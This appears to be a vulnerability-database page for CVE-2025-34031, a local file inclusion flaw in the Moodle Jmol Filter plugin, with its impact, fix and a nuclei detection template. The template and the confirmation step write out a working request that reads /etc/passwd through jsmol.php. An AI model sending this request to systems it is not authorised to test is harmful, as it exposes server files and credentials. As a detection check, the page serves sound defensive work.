HexBrain

Browse / CVEs / CVE-2025-34031

CVE-2025-34031· CWE-22

Moodle Jmol Filter 6.1 - Local File Inclusion

highseverity
7.5CVSS score
3.1%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.

Impact

Attackers can read arbitrary files from the server through the jsmol.php endpoint, potentially exposing sensitive configuration files and credentials.

Fix

Upgrade Moodle Jmol Filter to a patched version or remove the vulnerable plugin if not required.

How to confirm it

Send: GET {{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd
Positive when: matches /root:.*:0:0:/ AND contains in content_type "text/plain" AND status 200

Run it with nuclei: nuclei -id CVE-2025-34031 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2025-34031

info:
  name: Moodle Jmol Filter 6.1 - Local File Inclusion
  author: madrobot
  severity: high
  description: |
    Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.
  impact: |
    Attackers can read arbitrary files from the server through the jsmol.php endpoint, potentially exposing sensitive configuration files and credentials.
  remediation: |
    Upgrade Moodle Jmol Filter to a patched version or remove the vulnerable plugin if not required.
  reference:
    - https://www.exploit-db.com/exploits/46881
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34031
  classification:
    epss-score: 0.03057
    epss-percentile: 0.87701
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N
    cve-id: CVE-2025-34031
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: cve,cve2025,moodle,lfi,edb,jsmol,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from